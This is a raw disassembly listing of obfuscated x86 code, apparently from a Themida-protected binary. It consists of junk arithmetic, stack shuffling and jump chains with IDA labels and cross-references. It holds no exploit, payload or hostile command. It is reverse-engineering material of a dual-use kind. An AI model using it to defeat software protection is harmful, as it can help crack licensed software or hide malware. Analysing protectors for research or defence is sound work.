push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A0F2F: ; CODE XREF: Themida_:0059B1E9j
mov dh, bl
mov ch, dh
pop edx
jmp loc_59239B
; ---------------------------------------------------------------------------
loc_5A0F39: ; CODE XREF: Themida_:005919A2j
pop ecx
push esi
pop eax
pop esi
jmp loc_593088
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_594B20
; ---------------------------------------------------------------------------
loc_5A0F4B: ; CODE XREF: Themida_:00595D03j
dec ecx
jmp loc_599207
; ---------------------------------------------------------------------------
loc_5A0F51: ; CODE XREF: Themida_:005A2FADj
pop dword ptr [esp]
push edi
jmp loc_5A3DBA
; ---------------------------------------------------------------------------
loc_5A0F5A: ; CODE XREF: Themida_:005951DDj
not dword ptr [esp]
mov ebp, [esp]
add esp, 4
push eax
push 6C09h
mov [esp], ebp
push dword ptr [esp]
jmp loc_59916E
; ---------------------------------------------------------------------------
loc_5A0F77: ; CODE XREF: Themida_:005954ADj
mov cl, 39h
push edx
mov dl, cl
push ecx
mov ch, dl
mov ah, ch
mov ecx, [esp]
add esp, 4
jmp loc_59DEC6
; ---------------------------------------------------------------------------
loc_5A0F8F: ; CODE XREF: Themida_:00596663j
mov [esp], ebx
push esp
pop ebx
push ecx
mov ecx, 4A740B11h
neg ecx
jmp loc_59A00A
; ---------------------------------------------------------------------------
loc_5A0FA1: ; CODE XREF: Themida_:0059ADCBj
mov [edx], cl
mov ecx, [esp]
jmp loc_5939CD
; ---------------------------------------------------------------------------
loc_5A0FAB: ; CODE XREF: Themida_:0059CA0Dj
mov [esp], ebp
mov ebp, 59CE44D6h
add ebp, 228513B7h
jmp loc_59E553
; ---------------------------------------------------------------------------
loc_5A0FBE: ; CODE XREF: Themida_:0059B772j
push edi
push esp
pop edi
push ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
mov eax, 1AC55E49h
push 3BFh
mov [esp], edi
jmp loc_599E75
; ---------------------------------------------------------------------------
loc_5A0FE7: ; CODE XREF: Themida_:005A492Fj
sub esp, 4
mov [esp], edi
mov edi, 4A022F7Eh
add edi, 3EB96A20h
sub edi, 1
xor edi, 88BB9999h
jmp loc_5971B4
; ---------------------------------------------------------------------------
loc_5A1009: ; CODE XREF: Themida_:00597D26j
push ebx
mov ebx, 5A555187h
neg ebx
and ebx, 58906E2Fh
jmp loc_59D499
; ---------------------------------------------------------------------------
loc_5A101C: ; CODE XREF: Themida_:0059F753j
mov edi, 4
jmp loc_5955BE
; ---------------------------------------------------------------------------
push 753Bh
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
push 621Fh
mov [esp], eax
push edx
pop eax
jmp loc_5A2AAD
; ---------------------------------------------------------------------------
loc_5A104A: ; CODE XREF: Themida_:005A0CCBj
xor [esp], esi
jmp loc_5A0117
; ---------------------------------------------------------------------------
loc_5A1052: ; CODE XREF: Themida_:0059C538j
pop ebx
and ebx, 67096BFEh
neg ebx
jmp loc_5A56B5
; ---------------------------------------------------------------------------
loc_5A1060: ; CODE XREF: Themida_:005A39F0j
add [esp+8], edx
sub dword ptr [esp+8], 66C911A1h
mov edx, [esp]
add esp, 4
sub dword ptr [esp+4], 54FB73ACh
add [esp+4], ebp
add dword ptr [esp+4], 54FB73ACh
jmp loc_591F7F
; ---------------------------------------------------------------------------
loc_5A108B: ; CODE XREF: Themida_:0059692Dj
push dword ptr [esp]
jmp loc_5A53A6
; ---------------------------------------------------------------------------
loc_5A1093: ; CODE XREF: Themida_:005A1CABj
mov edx, ecx
pop ecx
add edx, 60D2391Dh
not edx
shr edx, 8
push esi
jmp loc_59E878
; ---------------------------------------------------------------------------
loc_5A10A7: ; CODE XREF: Themida_:0059BD05j
pop edi
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A10C0: ; CODE XREF: Themida_:005A43FEj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add edi, ecx
jmp loc_591190
; ---------------------------------------------------------------------------
loc_5A10D7: ; CODE XREF: Themida_:005979AFj
mov ecx, 4
jmp loc_592083
; ---------------------------------------------------------------------------
loc_5A10E1: ; CODE XREF: Themida_:0059293Fj
mov [esp], edi
mov edi, 3D5E188Ah
push ebx
mov ebx, 0FFFFFFFFh
sub edi, ebx
mov ebx, [esp]
push ebx
jmp loc_59E7DA
; ---------------------------------------------------------------------------
loc_5A10FA: ; CODE XREF: Themida_:00592508j
mov bl, cl
jmp loc_5A0C8E
; ---------------------------------------------------------------------------
loc_5A1101: ; CODE XREF: Themida_:005A45F9j
pop eax
pop ebx
sub ebx, 44241984h
sub ebx, 331F57B5h
add ebx, edx
add ebx, 331F57B5h
jmp loc_5A227A
; ---------------------------------------------------------------------------
loc_5A111C: ; CODE XREF: Themida_:00599BABj
or edi, 1ACF0E43h
dec edi
jmp loc_5A3E07
; ---------------------------------------------------------------------------
loc_5A1128: ; CODE XREF: Themida_:00594D54j
push edx
mov edx, 1
sub ebp, edx
pop edx
push ebp
not dword ptr [esp]
mov ebp, [esp]
jmp loc_5951AE
; ---------------------------------------------------------------------------
loc_5A113D: ; CODE XREF: Themida_:0059EA57j
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_592542
; ---------------------------------------------------------------------------
loc_5A1151: ; CODE XREF: Themida_:0059E7B1j
pop esi
neg di
jmp loc_5A5180
; ---------------------------------------------------------------------------
loc_5A115A: ; CODE XREF: Themida_:00591B96j
add ecx, 4
sub esp, 4
mov [esp], ebx
push edx
jmp loc_5A49A7
; ---------------------------------------------------------------------------
loc_5A116C: ; CODE XREF: Themida_:00593AC9j
pop ebp
jmp loc_59BBF0
; ---------------------------------------------------------------------------
loc_5A1172: ; CODE XREF: Themida_:00599498j
push 5A9Ah
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xor ebx, eax
push esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
add esi, 4
sub esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], cx
push 20CCh
mov [esp], edx
push 3856h
mov [esp], ebx
push edx
mov dh, 0A0h
dec dh
sub dh, 0E1h
jmp loc_594788
; ---------------------------------------------------------------------------
loc_5A11CB: ; CODE XREF: Themida_:0059837Ej
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
push esi
push esp
pop esi
add esi, 4
jmp loc_5A0C3F
; ---------------------------------------------------------------------------
loc_5A11EC: ; CODE XREF: Themida_:0059B2C0j
mov esp, [esp]
add esp, 4
push ebx
push edi
push edx
push 70BA6329h
pop edx
and edx, 7C381FA7h
add edx, 0E5A618ECh
mov edi, edx
pop edx
jmp loc_5A229A
; ---------------------------------------------------------------------------
loc_5A1212: ; CODE XREF: Themida_:005A4529j
mov ebx, eax
mov eax, [esp]
jmp loc_5947D8
; ---------------------------------------------------------------------------
loc_5A121C: ; CODE XREF: Themida_:005A46C6j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mul ecx
push 4361h
jmp loc_5A4AC9
; ---------------------------------------------------------------------------
loc_5A1248: ; CODE XREF: Themida_:005A048Cj
xor edx, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
push edx
push ebp
mov ebp, 4
mov edx, ebp
jmp loc_59292E
; ---------------------------------------------------------------------------
loc_5A1265: ; CODE XREF: Themida_:0059A216j
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5A4E16
; ---------------------------------------------------------------------------
loc_5A1279: ; CODE XREF: Themida_:005950B1j
push eax
mov eax, 20196031h
shl eax, 2
jmp loc_595E7E
; ---------------------------------------------------------------------------
loc_5A1287: ; CODE XREF: Themida_:005A549Cj
add eax, 1FF066ADh
sub eax, ebp
push ebp
push 1FF066ADh
pop ebp
jmp loc_5998CF
; ---------------------------------------------------------------------------
loc_5A129A: ; CODE XREF: Themida_:00590DE7j
mov ecx, 0
add ecx, eax
xor [ecx], edx
jmp loc_59302D
; ---------------------------------------------------------------------------
loc_5A12A8: ; CODE XREF: Themida_:005968C2j
add edx, 3AFC5A07h
jmp loc_5A4A4D
; ---------------------------------------------------------------------------
loc_5A12B3: ; CODE XREF: Themida_:005934E1j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5949A3
; ---------------------------------------------------------------------------
loc_5A12C1: ; CODE XREF: Themida_:0059DAC2j
add eax, ecx
sub eax, 77A86023h
jmp loc_59740A
; ---------------------------------------------------------------------------
loc_5A12CD: ; CODE XREF: Themida_:005A3679j
add esp, 4
jmp loc_5971E6
; ---------------------------------------------------------------------------
loc_5A12D5: ; CODE XREF: Themida_:0059B461j
push eax
mov eax, 0
add eax, ebx
mov ecx, [eax]
mov eax, [esp]
add esp, 4
jmp loc_5A0825
; ---------------------------------------------------------------------------
loc_5A12EA: ; CODE XREF: Themida_:0059C0CDj
pop ebp
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_596F2E
; ---------------------------------------------------------------------------
loc_5A12FB: ; CODE XREF: Themida_:0059FD32j
pop edi
add edi, esi
jmp loc_5A1EF6
; ---------------------------------------------------------------------------
loc_5A1303: ; CODE XREF: Themida_:005A52B7j
mov eax, esp
sub esp, 4
mov [esp], edx
mov edx, 69C413CBh
push ebx
mov ebx, 170B0CE3h
jmp loc_595092
; ---------------------------------------------------------------------------
loc_5A131B: ; CODE XREF: Themida_:00596AE6j
pop dword ptr [esp]
mov esp, [esp]
push 3203h
mov [esp], ebp
jmp loc_5A4B10
; ---------------------------------------------------------------------------
loc_5A132E: ; CODE XREF: Themida_:00592377j
mov eax, 8577A02h
and eax, 49F91791h
xor eax, 63760F9Ch
add ebp, eax
pop eax
mov eax, [esp]
jmp loc_597BCC
; ---------------------------------------------------------------------------
loc_5A1348: ; CODE XREF: Themida_:0059E27Fj
pop eax
sub al, dl
jmp loc_5965A9
; ---------------------------------------------------------------------------
loc_5A1350: ; CODE XREF: Themida_:005A21E1j
pop eax
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
push 0C31h
mov [esp], esp
push edi
jmp loc_59811B
; ---------------------------------------------------------------------------
loc_5A1372: ; CODE XREF: Themida_:005941A2j
xor ebp, 76B20E56h
sub ebp, 5813041Fh
mov ebx, ebp
pop ebp
shr ebx, 7
add ebx, 246F3A8Fh
dec ebx
sub ebx, 528E5280h
add ebx, 6F675CDDh
sub ebx, 4195831Fh
mov ecx, ebx
mov ebx, [esp]
add esp, 4
add ecx, ebx
add eax, [ecx]
pop ecx
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
push 3B03h
jmp loc_5A2E9B
; ---------------------------------------------------------------------------
loc_5A13C0: ; CODE XREF: Themida_:0059D6FAj
mov [esp], ecx
mov ecx, 18EC28FAh
or ecx, 307657FCh
and ecx, 465E31D7h
dec ecx
add ecx, 372D3DEEh
sub ecx, 77612CABh
xor ecx, 36145DD6h
add ebx, ecx
jmp loc_5965B1
; ---------------------------------------------------------------------------
loc_5A13EE: ; CODE XREF: Themida_:00590FFFj
mov ebp, [esp]
jmp loc_596225
; ---------------------------------------------------------------------------
loc_5A13F6: ; CODE XREF: Themida_:00597810j
mov edx, 7B425B5Eh
neg edx
push ebp
mov ebp, 7A015596h
add edx, ebp
pop ebp
shr edx, 5
jmp loc_5A3367
; ---------------------------------------------------------------------------
loc_5A140E: ; CODE XREF: Themida_:0059148Cj
xor ecx, [esp]
xor [esp], ecx
push dword ptr [esp]
jmp loc_59ED8E
; ---------------------------------------------------------------------------
loc_5A141C: ; CODE XREF: Themida_:005A53B6j
sub ch, 1
xor ch, 53h
add al, ch
pop ecx
sub al, dl
push ebx
mov bh, 0CAh
add bh, 1
push eax
mov al, 0EEh
shr al, 2
jmp loc_598B7E
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_592EC3
; ---------------------------------------------------------------------------
loc_5A1453: ; CODE XREF: Themida_:005A376Dj
xchg eax, [esp]
jmp loc_599932
; ---------------------------------------------------------------------------
loc_5A145B: ; CODE XREF: Themida_:0059C761j
sub edi, 73E01E66h
sub edi, 43713B76h
add edi, edx
add edi, 43713B76h
add edi, 73E01E66h
mov edx, [esp]
jmp loc_590EC4
; ---------------------------------------------------------------------------
loc_5A147D: ; CODE XREF: Themida_:0059EE9Bj
push small 310Dh
mov [esp], bp
mov bp, 3048h
push 272Eh
mov [esp], eax
sub esp, 4
mov [esp], esi
mov si, 5A10h
jmp loc_590D16
; ---------------------------------------------------------------------------
loc_5A14A3: ; CODE XREF: Themida_:0059CADBj
push esp
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
pop esi
jmp loc_59F203
; ---------------------------------------------------------------------------
loc_5A14B7: ; CODE XREF: Themida_:00591B9Fj
mov bl, 47h
sub bl, 1
or bl, 0D3h
xor bl, 0C9h
neg bl
jmp loc_59B7B6
; ---------------------------------------------------------------------------
loc_5A14C9: ; CODE XREF: Themida_:0059E3C2j
mov ebp, [esp]
add esp, 4
add ebp, 4
push eax
mov eax, 4
sub ebp, eax
jmp loc_599E81
; ---------------------------------------------------------------------------
loc_5A14E2: ; CODE XREF: Themida_:005A5663j
pop ecx
sub ebp, 4
jmp loc_59A811
; ---------------------------------------------------------------------------
loc_5A14EE: ; CODE XREF: Themida_:0059D2DAj
xor ebx, 23492CDFh
xor eax, ebx
jmp loc_592BED
; ---------------------------------------------------------------------------
loc_5A14FB: ; CODE XREF: Themida_:0059E12Dj
dec esi
jmp loc_59D17B
; ---------------------------------------------------------------------------
loc_5A1501: ; CODE XREF: Themida_:005975B5j
mov ecx, 784E3A32h
jmp loc_59C926
; ---------------------------------------------------------------------------
loc_5A150B: ; CODE XREF: Themida_:005A45CDj
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
or [esp], eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A151D: ; CODE XREF: Themida_:00597E18j
pop ebx
jmp loc_598248
; ---------------------------------------------------------------------------
loc_5A1523: ; CODE XREF: Themida_:00598A9Aj
pop edx
sub bh, 0FFh
push small 413Ah
mov [esp], ax
push 3078h
mov [esp], edx
mov dl, 2Ah
jmp loc_59721B
; ---------------------------------------------------------------------------
loc_5A153E: ; CODE XREF: Themida_:00592C9Fj
add eax, 64F7731Fh
pop edx
jmp loc_5A46D5
; ---------------------------------------------------------------------------
loc_5A1549: ; CODE XREF: Themida_:005A176Dj
sub eax, edx
pop edx
mov esi, [esp]
add esp, 4
push 2A4Eh
mov [esp], edi
push 25A5h
mov [esp], ebp
jmp loc_5A305C
; ---------------------------------------------------------------------------
loc_5A1567: ; CODE XREF: Themida_:0059CB97j
pop edi
sub ebx, ebp
jmp loc_5A2866
; ---------------------------------------------------------------------------
loc_5A156F: ; CODE XREF: Themida_:00596FB6j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A1574: ; CODE XREF: Themida_:0059ADBBj
add esp, 4
add ebx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5910AF
; ---------------------------------------------------------------------------
loc_5A158D: ; CODE XREF: Themida_:0059FD7Dj
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 4
add ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
jmp loc_5A4DE8
; ---------------------------------------------------------------------------
xor [esp], di
xor di, [esp]
xor [esp], di
xor di, dx
jmp loc_590CCA
; ---------------------------------------------------------------------------
loc_5A15C3: ; CODE XREF: Themida_:00598A93j
add eax, 528D4177h
jmp loc_5A335A
; ---------------------------------------------------------------------------
loc_5A15CD: ; CODE XREF: Themida_:005909FEj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_59C179
; ---------------------------------------------------------------------------
loc_5A15E3: ; CODE XREF: Themida_:005A304Aj
mov [esp], esi
mov esi, 25B93100h
jmp loc_5A20D9
; ---------------------------------------------------------------------------
loc_5A15F0: ; CODE XREF: Themida_:00598D6Cj
push edi
mov edi, esp
add edi, 4
jmp loc_5980C8
; ---------------------------------------------------------------------------
loc_5A15FE: ; CODE XREF: Themida_:0059A571j
mov edx, 3B06690h
sub eax, edx
pop edx
add eax, 169749DFh
push ebx
mov ebx, 5B301DE4h
sub eax, ebx
pop ebx
sub eax, 51E77A30h
sub eax, ebx
add eax, 51E77A30h
push 7665h
mov [esp], ebp
push 4992h
mov [esp], esi
mov esi, 5B301DE4h
mov ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_598027
; ---------------------------------------------------------------------------
loc_5A1642: ; CODE XREF: Themida_:0059FE82j
xor eax, [esp]
mov esp, [esp]
jmp loc_590F4F
; ---------------------------------------------------------------------------
loc_5A164D: ; CODE XREF: Themida_:0059F7DDj
pop esi
push edx
push 5C17h
mov [esp], esp
push ebx
mov ebx, 4
add dword ptr [esp+4], 77987B8Fh
add [esp+4], ebx
sub dword ptr [esp+4], 77987B8Fh
jmp loc_59EF89
; ---------------------------------------------------------------------------
loc_5A1676: ; CODE XREF: Themida_:00596B77j
push ebx
push edx
pop ebx
jmp loc_59AB47
; ---------------------------------------------------------------------------
loc_5A167E: ; CODE XREF: Themida_:0059C2D1j
add dword ptr [esp+4], 33F64DB5h
add dword ptr [esp+4], 7491F24h
add [esp+4], ecx
sub dword ptr [esp+4], 7491F24h
jmp loc_594485
; ---------------------------------------------------------------------------
loc_5A169F: ; CODE XREF: Themida_:00599C73j
add ebx, 0C55BDAF4h
jmp loc_599B1F
; ---------------------------------------------------------------------------
loc_5A16AA: ; CODE XREF: Themida_:0059A5EDj
add esp, 4
sub ebp, edx
pop edx
jmp loc_59FDC6
; ---------------------------------------------------------------------------
loc_5A16B8: ; CODE XREF: Themida_:0059B3FEj
mov ecx, 17E3DD4h
neg ecx
push ecx
not dword ptr [esp]
pop ecx
neg ecx
or ecx, 44691AECh
add ecx, 1162517h
add ebp, ecx
pop ecx
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], ebx
mov ebx, 77255088h
mov ecx, 7725508Ch
xor ecx, ebx
pop ebx
add ebp, ecx
pop ecx
push ebx
push esp
pop ebx
add ebx, 4
push ebp
mov ebp, 4
add ebx, 0E646831h
sub esp, 4
mov [esp], esi
mov esi, 67BB1E85h
dec esi
sub esi, 6F272B63h
not esi
not esi
add esi, 4B2B5876h
sub ebx, esi
pop esi
sub ebx, ebp
jmp loc_59F104
; ---------------------------------------------------------------------------
loc_5A1732: ; CODE XREF: Themida_:005A4963j
pop ecx
and ebp, 34E55C86h
shr ebp, 6
sub ebp, 16640D1Eh
inc ebp
push eax
jmp loc_59DC85
; ---------------------------------------------------------------------------
loc_5A1749: ; CODE XREF: Themida_:00590D4Bj
pop esp
and eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5969B4
; ---------------------------------------------------------------------------
loc_5A1757: ; CODE XREF: Themida_:005A08FFj
inc ecx
jmp loc_59A2F4
; ---------------------------------------------------------------------------
loc_5A175D: ; CODE XREF: Themida_:00595204j
add ebp, esi
jmp loc_592145
; ---------------------------------------------------------------------------
loc_5A1764: ; CODE XREF: Themida_:0059F813j
push ebx
mov ebx, esp
jmp loc_598051
; ---------------------------------------------------------------------------
loc_5A176C: ; CODE XREF: Themida_:0059C903j
pop ecx
jmp loc_5A1549
; ---------------------------------------------------------------------------
loc_5A1772: ; CODE XREF: Themida_:00597A24j
mov eax, esi
pop esi
add [esp+4], eax
jmp loc_592B8A
; ---------------------------------------------------------------------------
loc_5A177E: ; CODE XREF: Themida_:0059B5EBj
mov esi, esp
jmp loc_5984CD
; ---------------------------------------------------------------------------
loc_5A1785: ; CODE XREF: Themida_:00593175j
mov eax, 20B674ABh
jmp loc_59530B
; ---------------------------------------------------------------------------
loc_5A178F: ; CODE XREF: Themida_:00595D0Fj
pop dword ptr [esp]
pop esp
push ecx
mov ecx, 66FB7BF3h
push edx
jmp loc_5A2E16
; ---------------------------------------------------------------------------
loc_5A179F: ; CODE XREF: Themida_:005A4D83j
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_598574
; ---------------------------------------------------------------------------
loc_5A17CB: ; CODE XREF: Themida_:00591539j
push ebp
mov ebp, 55FE5CBBh
jmp loc_59DDE2
; ---------------------------------------------------------------------------
loc_5A17D6: ; CODE XREF: Themida_:0059C51Bj
push edx
mov edx, 3AC352CDh
push ebp
push edx
mov edx, 52EC7378h
mov ebp, edx
pop edx
jmp loc_5A0DFB
; ---------------------------------------------------------------------------
loc_5A17EB: ; CODE XREF: Themida_:00597D40j
add eax, 118E3085h
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
sub edx, edi
pop edi
jmp loc_59843A
; ---------------------------------------------------------------------------
loc_5A1807: ; CODE XREF: Themida_:00596C1Fj
xor esi, 7B1F5117h
pop ebp
add ebp, 7C552911h
add ebp, esi
sub ebp, 7C552911h
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_599957
; ---------------------------------------------------------------------------
loc_5A182B: ; CODE XREF: Themida_:005A2909j
pop eax
push 29Bh
mov [esp], edx
mov dh, ch
mov [edi+eax*4], dh
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop ecx
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A185C: ; CODE XREF: Themida_:005A43A3j
sub ecx, ebx
pop ebx
shl ecx, 3
jmp loc_59F961
; ---------------------------------------------------------------------------
loc_5A1867: ; CODE XREF: Themida_:005A0ABCj
pop eax
push ebx
sub esp, 4
mov [esp], eax
mov al, 74h
not al
inc al
sub al, 0E2h
push 6385h
mov [esp], edx
mov dl, al
push ecx
mov ch, dl
mov bl, ch
pop ecx
pop edx
pop eax
push eax
mov al, 41h
push dx
mov dh, 30h
add al, dh
pop dx
sub bl, al
pop eax
neg bl
inc bl
add bl, 0A5h
jmp loc_59ECDF
; ---------------------------------------------------------------------------
loc_5A18A3: ; CODE XREF: Themida_:005A546Aj
dec dh
push cx
mov ch, 17h
or dh, ch
pop cx
not dh
xor dh, 5Bh
add cl, dh
pop edx
sub cl, bl
sub cl, 0DBh
pop bx
mov bh, cl
jmp loc_5A0AA5
; ---------------------------------------------------------------------------
loc_5A18C3: ; CODE XREF: Themida_:005A3F8Dj
add edi, 4
push 4949h
mov [esp], esi
mov esi, 4
add edi, esi
mov esi, [esp]
sub esp, 4
jmp loc_599D35
; ---------------------------------------------------------------------------
loc_5A18E6: ; CODE XREF: Themida_:0059FFA3j
mov edi, 5B5808A5h
or edi, 70210C10h
add edi, 0FFFFFFFFh
sub edi, 4CDA1A34h
shl edi, 6
push ecx
mov ecx, 17A90046h
sub ecx, 0CEA58B2Eh
add edi, ecx
pop ecx
add edi, 5BE5FA9Dh
sub eax, edi
jmp loc_59D7DA
; ---------------------------------------------------------------------------
loc_5A1919: ; CODE XREF: Themida_:00596BE2j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [edi+20h], eax
pop eax
loc_5A1927: ; CODE XREF: Themida_:00597336j
; Themida_:0059B87Ej
push dword ptr [esp]
mov ebx, [esp]
push ebp
jmp loc_5931BF
; ---------------------------------------------------------------------------
loc_5A1933: ; CODE XREF: Themida_:00597A85j
pop esp
mov eax, [esp]
jmp loc_59D209
; ---------------------------------------------------------------------------
loc_5A193C: ; CODE XREF: Themida_:005A2D3Dj
xchg ecx, [esp]
pop esp
push ebp
jmp loc_5A4A00
; ---------------------------------------------------------------------------
loc_5A1946: ; CODE XREF: Themida_:00590D6Bj
pop edx
push esi
mov esi, 4
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push 4471h
jmp loc_5939C3
; ---------------------------------------------------------------------------
loc_5A1964: ; CODE XREF: Themida_:00598DD5j
pop edi
push ebx
mov eax, [esp]
add esp, 4
pop ebx
jmp loc_59C4AA
; ---------------------------------------------------------------------------
loc_5A1972: ; CODE XREF: Themida_:00596D6Dj
sub edx, 536A031Ch
mov ebx, [esp]
jmp loc_5A1CDD
; ---------------------------------------------------------------------------
loc_5A1980: ; CODE XREF: Themida_:005A34DAj
sub esp, 4
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
pop esi
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
jmp loc_591017
; ---------------------------------------------------------------------------
loc_5A19A5: ; CODE XREF: Themida_:00593613j
xor edx, 3D9963E3h
jmp loc_59EC90
; ---------------------------------------------------------------------------
loc_5A19B0: ; CODE XREF: Themida_:005A0927j
push dword ptr [esp]
pop edx
add esp, 4
and dh, ch
mov ecx, [esp]
add esp, 4
shr dh, 4
add dh, 0DCh
sub al, dh
push dword ptr [esp]
pop edx
push ebp
jmp loc_59C04F
; ---------------------------------------------------------------------------
loc_5A19D7: ; CODE XREF: Themida_:0059B967j
sub esp, 4
jmp loc_590353
; ---------------------------------------------------------------------------
loc_5A19E2: ; CODE XREF: Themida_:00598E57j
mov [esp], esi
push 609B56CFh
mov esi, [esp]
add esp, 4
not esi
shl esi, 2
add esi, 9F9492E1h
mov ebx, esi
pop esi
shl ebx, 1
push edx
mov edx, 2F320D2Fh
shl edx, 7
jmp loc_593E56
; ---------------------------------------------------------------------------
loc_5A1A11: ; CODE XREF: Themida_:0059613Aj
add ecx, esi
jmp loc_5905D2
; ---------------------------------------------------------------------------
loc_5A1A18: ; CODE XREF: Themida_:0059CB4Ej
pop esp
neg dh
sub dh, 0B2h
sub dh, 15h
sub al, 76h
sub al, 20h
add al, 8Dh
sub al, dh
sub al, 8Dh
add al, 20h
add al, 76h
pop edx
sub al, 93h
jmp loc_5A4C22
; ---------------------------------------------------------------------------
loc_5A1A37: ; CODE XREF: Themida_:00590619j
mov ebp, 244E6503h
sub ebx, 7D7B1252h
jmp loc_594F98
; ---------------------------------------------------------------------------
loc_5A1A47: ; CODE XREF: Themida_:005A0C20j
pop esp
jmp loc_59E716
; ---------------------------------------------------------------------------
loc_5A1A4D: ; CODE XREF: Themida_:0059AB90j
not al
mov dl, al
pop eax
push eax
push ebx
push eax
mov ah, 0B5h
jmp loc_599EC5
; ---------------------------------------------------------------------------
loc_5A1A5C: ; CODE XREF: Themida_:0059CB40j
pop bx
mov bl, dl
pop edx
push dx
mov dh, 0F1h
add al, 0C6h
jmp loc_59F8C3
; ---------------------------------------------------------------------------
loc_5A1A6C: ; CODE XREF: Themida_:005957D4j
push edx
mov edx, 34E0252Bh
sub edx, 0F1E2AC8h
xor edx, 0BAA22E53h
xor ebx, edx
jmp loc_598604
; ---------------------------------------------------------------------------
loc_5A1A85: ; CODE XREF: Themida_:005A000Aj
mov [esp], ecx
push eax
mov al, 4Bh
mov cl, 0Eh
jmp loc_59EBB7
; ---------------------------------------------------------------------------
loc_5A1A92: ; CODE XREF: Themida_:00597662j
mov [esp], eax
mov eax, 3BE7C3Dh
add ecx, eax
pop eax
pop esi
jmp loc_594D73
; ---------------------------------------------------------------------------
loc_5A1AA3: ; CODE XREF: Themida_:00591CFDj
sub edx, 0E5957770h
mov ebx, edx
pop edx
neg ebx
push ebp
mov ebp, 6E4D7B51h
or ebp, 5D7F2BBCh
add ebp, 56853B01h
jmp loc_5A4C54
; ---------------------------------------------------------------------------
loc_5A1AC5: ; CODE XREF: Themida_:005A2A40j
mov esi, 0
sub esi, ebp
jmp loc_5938ED
; ---------------------------------------------------------------------------
loc_5A1AD1: ; CODE XREF: Themida_:00596F17j
mov [esp], ecx
mov ecx, 7C0C386Ch
add ecx, 1
inc ecx
jmp loc_59B7FA
; ---------------------------------------------------------------------------
loc_5A1AE2: ; CODE XREF: Themida_:0059C1C9j
pop ebx
xchg ebp, [esp]
pop esp
push ebp
jmp loc_59E26A
; ---------------------------------------------------------------------------
loc_5A1AED: ; CODE XREF: Themida_:0059994Cj
pop edi
jmp loc_5A261E
; ---------------------------------------------------------------------------
loc_5A1AF3: ; CODE XREF: Themida_:0059C8D7j
mov esi, 4
mov ebx, esi
pop esi
add ecx, ebx
jmp loc_599543
; ---------------------------------------------------------------------------
loc_5A1B02: ; CODE XREF: Themida_:005A3BE0j
xor edi, 111E7FEBh
add esi, edi
pop edi
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esp
push esi
jmp loc_59FA73
; ---------------------------------------------------------------------------
loc_5A1B29: ; CODE XREF: Themida_:0059A8DEj
sub ecx, ebx
pop ebx
mov ebp, ecx
pop ecx
add edi, ebp
pop ebp
push edi
jmp loc_59FD37
; ---------------------------------------------------------------------------
loc_5A1B38: ; CODE XREF: Themida_:0059C948j
mov ebx, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
pop esi
add ebp, 2
jmp loc_59E338
; ---------------------------------------------------------------------------
loc_5A1B53: ; CODE XREF: Themida_:005993B1j
mov [esp], ax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A1B5C: ; CODE XREF: Themida_:005A4016j
pop ecx
jmp loc_595498
